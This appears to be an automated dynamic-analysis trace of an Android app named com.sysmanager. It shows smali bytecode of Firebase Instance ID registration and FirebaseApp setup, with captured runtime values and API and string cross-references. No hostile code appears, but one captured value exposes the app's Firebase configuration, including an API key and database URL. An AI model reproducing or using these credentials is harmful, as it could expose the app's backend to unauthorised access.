58invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
59move-result-object v1
61invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
62move-result-object v1
64invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Time: 201806
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: X-kid
    • p1: |ID|0|
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
  • Time: 201932
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: X-kid
    • p1: |ID|1|
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
  • Time: 214090
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: X-kid
    • p1: |ID|2|
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
66const-string v0, "com.google.android.gsf"
68sget-object v1, Lcom/google/firebase/iid/zzf;->zzbhQ:Ljava/lang/String;
70invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
71move-result v0
73const-string v1, "InstanceID/Rpc"
75invoke-static {v1, v5}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
76move-result v1
77if-eqz v1, :cond_91
79const-string v1, "InstanceID/Rpc"
81invoke-virtual {p1}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
82move-result-object v2
84invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
85move-result-object v2
87invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
88move-result-object v3
90invoke-virtual {v3}, Ljava/lang/String;->length()I
91move-result v3
92add-int/lit8 v3, v3, 0x8
93new-instance v4, Ljava/lang/StringBuilder;
95invoke-direct {v4, v3}, Ljava/lang/StringBuilder;-><init>(I)V
97const-string v3, "Sending "
99invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
100move-result-object v3
102invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
103move-result-object v2
105invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
106move-result-object v2
108invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
109cond_91: if-eqz v0, :cond_9c
111invoke-virtual {p0}, Lcom/google/firebase/iid/zzf;->zzHm()V
113iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
115invoke-virtual {v0, p1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
116goto_9b: return-void
117cond_9c:
118const-string v0, "google.messenger"
120iget-object v1, p0, Lcom/google/firebase/iid/zzf;->zzbgK:Landroid/os/Messenger;
122invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
  • Time: 201822
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: google.messenger
    • p1: android.os.Messenger@389b5507
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
124iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzbhX:Landroid/os/Messenger;
125if-nez v0, :cond_ab
127iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzbhY:Lcom/google/android/gms/iid/MessengerCompat;
128if-eqz v0, :cond_cb
129cond_ab:
130invoke-static {}, Landroid/os/Message;->obtain()Landroid/os/Message;
131move-result-object v0
132iput-object p1, v0, Landroid/os/Message;->obj:Ljava/lang/Object;
133try_start_b1:
134iget-object v1, p0, Lcom/google/firebase/iid/zzf;->zzbhX:Landroid/os/Messenger;
135if-eqz v1, :cond_d5
137iget-object v1, p0, Lcom/google/firebase/iid/zzf;->zzbhX:Landroid/os/Messenger;
139invoke-virtual {v1, v0}, Landroid/os/Messenger;->send(Landroid/os/Message;)V
140try_end_ba: goto/16 :goto_9b
141catch_bb: move-exception v0
143const-string v0, "InstanceID/Rpc"
145invoke-static {v0, v5}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
146move-result v0
147if-eqz v0, :cond_cb
149const-string v0, "InstanceID/Rpc"
151const-string v1, "Messenger failed, fallback to startService"
153invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
154cond_cb: sget-boolean v0, Lcom/google/firebase/iid/zzf;->zzbhR:Z
155if-eqz v0, :cond_db
157iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
159invoke-virtual {v0, p1}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
160goto/16 :goto_9b
161cond_d5:
162iget-object v1, p0, Lcom/google/firebase/iid/zzf;->zzbhY:Lcom/google/android/gms/iid/MessengerCompat;
164invoke-virtual {v1, v0}, Lcom/google/android/gms/iid/MessengerCompat;->send(Landroid/os/Message;)V
165try_end_da: goto/16 :goto_9b
166cond_db:
167iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
169invoke-virtual {v0, p1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 201838
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • p0: Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • Return:
      • ComponentInfo{com.google.android.gms/com.google.android.gms.gcm.PushMessagingRegistrarProxy}
170goto/16 :goto_9b
Cross References
APIs
  • android.util.Log.isLoggable
  • android.util.Log.d
  • java.lang.String.equals
  • android.util.Log.isLoggable
  • android.content.Intent.getAction
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.d
  • java.lang.String.<init>
  • android.content.Intent.getStringExtra
  • android.os.SystemClock.elapsedRealtime
  • java.lang.String.startsWith
  • java.lang.String.split
  • java.lang.String.equals
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.w
  • java.lang.String.equals
  • java.lang.String.startsWith
  • java.lang.String.substring
  • android.content.Intent.putExtra
  • android.util.Log.isLoggable
  • android.util.Log.d
  • java.lang.String.<init>
  • java.lang.String.equals
  • android.content.Intent.removeExtra
Strings
  • InstanceID/Rpc
  • Unexpected response: null
  • com.google.android.c2dm.intent.REGISTRATION
  • Unexpected response
  • registration_id
  • |ID|0|:MESSENGER
  • unregistered
  • |
  • \\|
  • ID
  • Unexpected structured response
  • SYNC
  • :
  • MESSENGER
  • Ignoring response without a request ID
  • RST
Position Instruction Meta Information
0const/4 v2, 0x0
1const/4 v7, 0x1
2const/4 v3, 0x0
3const/4 v6, 0x3
4if-nez p1, :cond_16
6const-string v0, "InstanceID/Rpc"
8invoke-static {v0, v6}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
9move-result v0
10if-eqz v0, :cond_15
12const-string v0, "InstanceID/Rpc"
14const-string v1, "Unexpected response: null"
16invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
17cond_15: return-void
18cond_16:
19invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 201842
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
    • Return:
      • com.google.android.c2dm.intent.REGISTRATION
20move-result-object v0
22const-string v1, "com.google.android.c2dm.intent.REGISTRATION"
24invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
25move-result v0
26if-nez v0, :cond_4a
28const-string v0, "InstanceID/Rpc"
30invoke-static {v0, v6}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
31move-result v0
32if-eqz v0, :cond_15
34const-string v1, "InstanceID/Rpc"
36const-string v2, "Unexpected response "
38invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
39move-result-object v0
41invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
42move-result-object v0
44invoke-virtual {v0}, Ljava/lang/String;->length()I
45move-result v3
46if-eqz v3, :cond_44
48invoke-virtual {v2, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
49move-result-object v0
50goto_40:
51invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
52goto/16 :goto_15
53cond_44: new-instance v0, Ljava/lang/String;
55invoke-direct {v0, v2}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
56goto/16 :goto_40
57cond_4a:
58const-string v0, "registration_id"
60invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 201850
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
    • p0: registration_id
    • Return:
      • |ID|0|:MESSENGER
  • Time: 203766
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
    • p0: registration_id
    • Return:
      • null
61move-result-object v0
62if-nez v0, :cond_58
64const-string v0, "unregistered"
66invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 203767
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
    • p0: unregistered
    • Return:
      • null
67move-result-object v0
68cond_58: if-nez v0, :cond_5e
70invoke-virtual {p0, p1}, Lcom/google/firebase/iid/zzf;->zzr(Landroid/content/Intent;)V
71goto/16 :goto_15
72cond_5e:
73invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
74move-result-wide v4
75iput-wide v4, p0, Lcom/google/firebase/iid/zzf;->zzbhZ:J
76const-wide/16 v4, 0x0
77iput-wide v4, p0, Lcom/google/firebase/iid/zzf;->zzbid:J
78iput v3, p0, Lcom/google/firebase/iid/zzf;->zzbib:I
79iput v3, p0, Lcom/google/firebase/iid/zzf;->zzbic:I
81const-string v1, "|"
83invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
84move-result v1
85if-eqz v1, :cond_107
87const-string v1, "\\|"
89invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
90move-result-object v3
92const-string v1, "ID"
93aget-object v4, v3, v7
95invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
96move-result v1
97if-nez v1, :cond_99
99const-string v1, "InstanceID/Rpc"
101const-string v4, "Unexpected structured response "
103invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
104move-result-object v0
106invoke-virtual {v0}, Ljava/lang/String;->length()I
107move-result v5
108if-eqz v5, :cond_d9
110invoke-virtual {v4, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
111move-result-object v0
112goto_96:
113invoke-static {v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
114cond_99: const/4 v0, 0x2
115aget-object v1, v3, v0
116array-length v0, v3
117const/4 v4, 0x4
118if-le v0, v4, :cond_af
120const-string v0, "SYNC"
121aget-object v4, v3, v6
123invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
124move-result v0
125if-eqz v0, :cond_df
127iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
129invoke-static {v0}, Lcom/google/firebase/iid/FirebaseInstanceId;->zzby(Landroid/content/Context;)V
130cond_af: array-length v0, v3
131add-int/lit8 v0, v0, -0x1
132aget-object v0, v3, v0
134const-string v2, ":"
136invoke-virtual {v0, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
137move-result v2
138if-eqz v2, :cond_c0
140invoke-virtual {v0, v7}, Ljava/lang/String;->substring(I)Ljava/lang/String;
141move-result-object v0
142cond_c0:
143const-string v2, "registration_id"
145invoke-virtual {p1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Time: 201851
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
    • p0: registration_id
    • p1: MESSENGER
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
146move-object v0, v1
147goto_c6: if-nez v0, :cond_102
149const-string v0, "InstanceID/Rpc"
151invoke-static {v0, v6}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
152move-result v0
153if-eqz v0, :cond_15
155const-string v0, "InstanceID/Rpc"
157const-string v1, "Ignoring response without a request ID"
159invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
160goto/16 :goto_15
161cond_d9: new-instance v0, Ljava/lang/String;
163invoke-direct {v0, v4}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
164goto/16 :goto_96
165cond_df:
166const-string v0, "RST"
167aget-object v4, v3, v6
169invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
170move-result v0
171if-eqz v0, :cond_af
173iget-object v0, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
175iget-object v3, p0, Lcom/google/firebase/iid/zzf;->zzqn:Landroid/content/Context;
177invoke-static {v3, v2}, Lcom/google/firebase/iid/zzd;->zzb(Landroid/content/Context;Landroid/os/Bundle;)Lcom/google/firebase/iid/zzd;
178move-result-object v2
180invoke-virtual {v2}, Lcom/google/firebase/iid/zzd;->zzabQ()Lcom/google/firebase/iid/zzh;
181move-result-object v2
183invoke-static {v0, v2}, Lcom/google/firebase/iid/FirebaseInstanceId;->zza(Landroid/content/Context;Lcom/google/firebase/iid/zzh;)V
185const-string v0, "registration_id"
187invoke-virtual {p1, v0}, Landroid/content/Intent;->removeExtra(Ljava/lang/String;)V
189invoke-direct {p0, v1, p1}, Lcom/google/firebase/iid/zzf;->zzb(Ljava/lang/String;Landroid/content/Intent;)V
190goto/16 :goto_15
191cond_102:
192invoke-direct {p0, v0, p1}, Lcom/google/firebase/iid/zzf;->zzb(Ljava/lang/String;Landroid/content/Intent;)V
193goto/16 :goto_15
194cond_107: move-object v0, v2
195goto/16 :goto_c6
Cross References
APIs
  • android.content.Intent.getAction
  • android.support.v4.util.SimpleArrayMap.get
  • android.content.Context.getPackageManager
  • android.content.pm.PackageManager.resolveService
  • android.util.Log.e
  • java.lang.String.equals
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • java.lang.String.startsWith
  • android.content.Context.getPackageName
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.support.v4.util.SimpleArrayMap.put
  • android.util.Log.isLoggable
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.d
  • com.sysmanager.Scontext.getPackageName
  • android.content.Intent.setClassName
  • java.lang.String.<init>
Strings
  • com.google.firebase.INSTANCE_ID_EVENT
  • FirebaseInstanceId
  • Failed to resolve target intent service, skipping classname enforcement
  • com.sysmanager
  • Error resolving target intent service, skipping classname enforcement. Resolved service was:
  • /
  • .
  • Restricting intent to a specific service:
Position Instruction Meta Information
1iget-object v1, p0, Lcom/google/firebase/iid/zzg;->zzclB:Landroid/support/v4/util/SimpleArrayMap;
2monitor-enter v1
3try_start_3:
4iget-object v0, p0, Lcom/google/firebase/iid/zzg;->zzclB:Landroid/support/v4/util/SimpleArrayMap;
6invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 200870
    • This:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
    • Return:
      • com.google.firebase.INSTANCE_ID_EVENT
7move-result-object v2
9invoke-virtual {v0, v2}, Landroid/support/v4/util/SimpleArrayMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
10move-result-object v0
11check-cast v0, Ljava/lang/String;
12monitor-exit v1
13try_end_10: if-nez v0, :cond_ad
15invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
16move-result-object v0
17const/4 v1, 0x0
19invoke-virtual {v0, p2, v1}, Landroid/content/pm/PackageManager;->resolveService(Landroid/content/Intent;I)Landroid/content/pm/ResolveInfo;
20move-result-object v0
21if-eqz v0, :cond_21
23iget-object v1, v0, Landroid/content/pm/ResolveInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
24if-nez v1, :cond_2c
25cond_21:
26const-string v0, "FirebaseInstanceId"
28const-string v1, "Failed to resolve target intent service, skipping classname enforcement"
30invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
31goto_28: return-void
32catchall_29: move-exception v0
33try_start_2a: monitor-exit v1
34try_end_2b: throw v0
35cond_2c:
36iget-object v0, v0, Landroid/content/pm/ResolveInfo;->serviceInfo:Landroid/content/pm/ServiceInfo;
38invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
  • Time: 200882
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager
39move-result-object v1
41iget-object v2, v0, Landroid/content/pm/ServiceInfo;->packageName:Ljava/lang/String;
43invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
44move-result v1
45if-eqz v1, :cond_3e
47iget-object v1, v0, Landroid/content/pm/ServiceInfo;->name:Ljava/lang/String;
48if-nez v1, :cond_80
49cond_3e:
50const-string v1, "FirebaseInstanceId"
52iget-object v2, v0, Landroid/content/pm/ServiceInfo;->packageName:Ljava/lang/String;
54invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
55move-result-object v2
57iget-object v0, v0, Landroid/content/pm/ServiceInfo;->name:Ljava/lang/String;
59invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
60move-result-object v0
62invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
63move-result-object v3
65invoke-virtual {v3}, Ljava/lang/String;->length()I
66move-result v3
67add-int/lit8 v3, v3, 0x5e
69invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
70move-result-object v4
72invoke-virtual {v4}, Ljava/lang/String;->length()I
73move-result v4
74add-int/2addr v3, v4
75new-instance v4, Ljava/lang/StringBuilder;
77invoke-direct {v4, v3}, Ljava/lang/StringBuilder;-><init>(I)V
79const-string v3, "Error resolving target intent service, skipping classname enforcement. Resolved service was: "
81invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v3
84invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
85move-result-object v2
87const-string v3, "/"
89invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
90move-result-object v2
92invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
93move-result-object v0
95invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
96move-result-object v0
98invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
99goto/16 :goto_28
100cond_80:
101iget-object v0, v0, Landroid/content/pm/ServiceInfo;->name:Ljava/lang/String;
103const-string v1, "."
105invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
106move-result v1
107if-eqz v1, :cond_a0
109invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
110move-result-object v1
112invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
113move-result-object v1
115invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
116move-result-object v0
118invoke-virtual {v0}, Ljava/lang/String;->length()I
119move-result v2
120if-eqz v2, :cond_d4
122invoke-virtual {v1, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
123move-result-object v0
124goto_a0:
125iget-object v1, p0, Lcom/google/firebase/iid/zzg;->zzclB:Landroid/support/v4/util/SimpleArrayMap;
126monitor-enter v1
127try_start_a3:
128iget-object v2, p0, Lcom/google/firebase/iid/zzg;->zzclB:Landroid/support/v4/util/SimpleArrayMap;
130invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 200895
    • This:
      • Intent { act=com.google.firebase.INSTANCE_ID_EVENT pkg=com.sysmanager }
    • Return:
      • com.google.firebase.INSTANCE_ID_EVENT
131move-result-object v3
133invoke-virtual {v2, v3, v0}, Landroid/support/v4/util/SimpleArrayMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
134monitor-exit v1
135try_end_ad:
136const-string v1, "FirebaseInstanceId"
137const/4 v2, 0x3
139invoke-static {v1, v2}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
140move-result v1
141if-eqz v1, :cond_cb
143const-string v2, "FirebaseInstanceId"
145const-string v3, "Restricting intent to a specific service: "
147invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
148move-result-object v1
150invoke-virtual {v1}, Ljava/lang/String;->length()I
151move-result v4
152if-eqz v4, :cond_dd
154invoke-virtual {v3, v1}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
155move-result-object v1
156goto_c8:
157invoke-static {v2, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
158cond_cb:
159invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
  • Time: 200909
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager
160move-result-object v1
162invoke-virtual {p2, v1, v0}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
163goto/16 :goto_28
164cond_d4: new-instance v0, Ljava/lang/String;
166invoke-direct {v0, v1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
167goto/16 :goto_a0
168catchall_da: move-exception v0
169try_start_db: monitor-exit v1
170try_end_dc: throw v0
171cond_dd: new-instance v1, Ljava/lang/String;
173invoke-direct {v1, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
174goto/16 :goto_c8
Cross References
APIs
  • com.google.firebase.FirebaseApp.zzis
  • java.util.Map.containsKey
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.util.Map.put
  • com.google.firebase.FirebaseApp.zzUV
  • com.sysmanager.Scontext.getApplicationContext
Strings
  • [DEFAULT]
  • [DEFAULT]
  • FirebaseApp name
  • already exists!
  • Application context cannot be null.
Position Instruction Meta Information
1invoke-static {p0}, Lcom/google/android/gms/internal/zzbth;->zzcw(Landroid/content/Context;)Lcom/google/android/gms/internal/zzbth;
2move-result-object v1
4invoke-static {p0}, Lcom/google/firebase/FirebaseApp;->zzcl(Landroid/content/Context;)V
6invoke-static {p2}, Lcom/google/firebase/FirebaseApp;->zzis(Ljava/lang/String;)Ljava/lang/String;
  • Time: 77269
    • p0: [DEFAULT]
    • Return:
      • [DEFAULT]
7move-result-object v2
9invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 77279
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
10move-result-object v0
11if-nez v0, :cond_76
12goto_11:
13sget-object v3, Lcom/google/firebase/FirebaseApp;->zztX:Ljava/lang/Object;
14monitor-enter v3
15try_start_14:
16sget-object v0, Lcom/google/firebase/FirebaseApp;->zzbhH:Ljava/util/Map;
18invoke-interface {v0, v2}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
19move-result v0
20if-nez v0, :cond_7b
21const/4 v0, 0x1
22goto_1d:
23invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
24move-result-object v4
26invoke-virtual {v4}, Ljava/lang/String;->length()I
27move-result v4
28add-int/lit8 v4, v4, 0x21
29new-instance v5, Ljava/lang/StringBuilder;
31invoke-direct {v5, v4}, Ljava/lang/StringBuilder;-><init>(I)V
33const-string v4, "FirebaseApp name "
35invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36move-result-object v4
38invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
39move-result-object v4
41const-string v5, " already exists!"
43invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
44move-result-object v4
46invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
47move-result-object v4
49invoke-static {v0, v4}, Lcom/google/android/gms/common/internal/zzac;->zza(ZLjava/lang/Object;)V
51const-string v0, "Application context cannot be null."
53invoke-static {p0, v0}, Lcom/google/android/gms/common/internal/zzac;->zzb(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
54new-instance v0, Lcom/google/firebase/FirebaseApp;
56invoke-direct {v0, p0, v2, p1}, Lcom/google/firebase/FirebaseApp;-><init>(Landroid/content/Context;Ljava/lang/String;Lcom/google/firebase/FirebaseOptions;)V
58sget-object v4, Lcom/google/firebase/FirebaseApp;->zzbhH:Ljava/util/Map;
60invoke-interface {v4, v2, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
61monitor-exit v3
62try_end_53:
63invoke-virtual {v1, v0}, Lcom/google/android/gms/internal/zzbth;->zzg(Lcom/google/firebase/FirebaseApp;)V
64const-class v1, Lcom/google/firebase/FirebaseApp;
66sget-object v2, Lcom/google/firebase/FirebaseApp;->zzbWA:Ljava/util/List;
68invoke-direct {v0, v1, v0, v2}, Lcom/google/firebase/FirebaseApp;->zza(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/Iterable;)V
70invoke-virtual {v0}, Lcom/google/firebase/FirebaseApp;->zzUV()Z
  • Time: 77359
    • This:
      • FirebaseApp{name=[DEFAULT], options=FirebaseOptions{applicationId=1:108944492905:android:ece3927e9687a726, apiKey=AIzaSyDnqjgL8U6iQ_zzMzrWu0ooCd0vmbOvVhs, databaseUrl=https://future-8a57f.firebaseio.com, gcmSenderId=108944492905, storageBucket=future-8a57f.appspot.com}}
    • Return:
      • true
71move-result v1
72if-eqz v1, :cond_75
73const-class v1, Lcom/google/firebase/FirebaseApp;
75sget-object v2, Lcom/google/firebase/FirebaseApp;->zzbWB:Ljava/util/List;
77invoke-direct {v0, v1, v0, v2}, Lcom/google/firebase/FirebaseApp;->zza(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/Iterable;)V
78const-class v1, Landroid/content/Context;
80invoke-virtual {v0}, Lcom/google/firebase/FirebaseApp;->getApplicationContext()Landroid/content/Context;
81move-result-object v2
83sget-object v3, Lcom/google/firebase/FirebaseApp;->zzbWC:Ljava/util/List;
85invoke-direct {v0, v1, v2, v3}, Lcom/google/firebase/FirebaseApp;->zza(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/Iterable;)V
86cond_75: return-object v0
87cond_76:
88invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 77289
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • Return:
      • com.sysmanager.Scontext@2e09ab53
89move-result-object p0
90goto/16 :goto_11
91cond_7b: const/4 v0, 0x0
92goto/16 :goto_1d
93catchall_7d: move-exception v0
94try_start_7e: monitor-exit v3
95try_end_7f: throw v0
Cross References
APIs
  • java.lang.String.hashCode
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.w
  • java.lang.String.equals
  • java.util.Queue.offer
  • android.content.Intent.<init>
  • com.sysmanager.Scontext.getPackageName
  • android.content.Intent.setPackage
  • java.util.Queue.offer
  • java.lang.String.<init>
Strings
  • FirebaseInstanceId
  • Unknown service action:
  • com.google.firebase.INSTANCE_ID_EVENT
  • com.google.firebase.MESSAGING_EVENT
  • com.sysmanager
Position Instruction Meta Information
0const/4 v0, -0x1
2invoke-virtual {p2}, Ljava/lang/String;->hashCode()I
3move-result v1
4sparse-switch v1, :sswitch_data_5a
5goto_8: packed-switch v0, :pswitch_data_64
7const-string v1, "FirebaseInstanceId"
9const-string v2, "Unknown service action: "
11invoke-static {p2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
12move-result-object v0
14invoke-virtual {v0}, Ljava/lang/String;->length()I
15move-result v3
16if-eqz v3, :cond_53
18invoke-virtual {v2, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
19move-result-object v0
20goto_1d:
21invoke-static {v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
22const/16 v0, 0x1f4
23goto_22: return v0
24sswitch_23:
25const-string v1, "com.google.firebase.INSTANCE_ID_EVENT"
